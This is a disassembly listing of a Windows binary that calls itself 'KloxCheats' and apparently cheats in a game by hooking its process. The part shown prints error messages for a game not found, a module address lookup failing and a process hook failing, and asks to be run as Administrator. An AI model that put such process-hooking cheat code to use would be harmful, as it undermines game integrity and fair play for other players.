pop r13
ret
mov edx, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._ERROR__Game_not_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14003eb70
nop
mov edx, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._ERROR__Failed_to_get_the_temp_directory_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14003eb70
nop
mov edx, 4
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._ERROR__Failed_to_call_InitAddress__.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14003eb70
int3
mov edx, 0xc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._ERROR_Failed_to_get_the_Documents_folder_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14003eb70
int3
call fcn.140003550
nop
lea r8, [rsp + 0x190]
lea rdx, [rsp + 0x50]
call fcn.14003eb10
nop
call fcn.140003550
nop
lea r9, [rsp + 0x350]
lea r8, [rsp + 0x1b0]
mov edx, eax
call fcn.14003ac40
nop
lea r8, [rsp + 0x350]
lea rdx, [rsp + 0x50]
call fcn.14003eb10
nop
shr rdi, 0x20
lea r8, [rsp + 0x350]
mov edx, edi
lea rcx, str.create_directory
call fcn.140004bf0
nop
call fcn.140003550
int3
lea rdx, str._Info__Error:_Failed_to_create_the_config_directory.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14003eb70
int3
mov edx, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._ERROR__Failed_to_get_module_address.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14003eb70
int3
mov edx, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._ERROR__Failed_to_hook_process__please_run_the_cheat_as_Administrator__Right_click_KloxCheats___Run_as_Adminstrator_.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14003eb70
int3